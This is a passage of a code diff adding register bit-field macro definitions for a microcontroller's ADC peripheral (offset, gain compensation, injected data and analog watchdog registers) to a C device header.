/*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 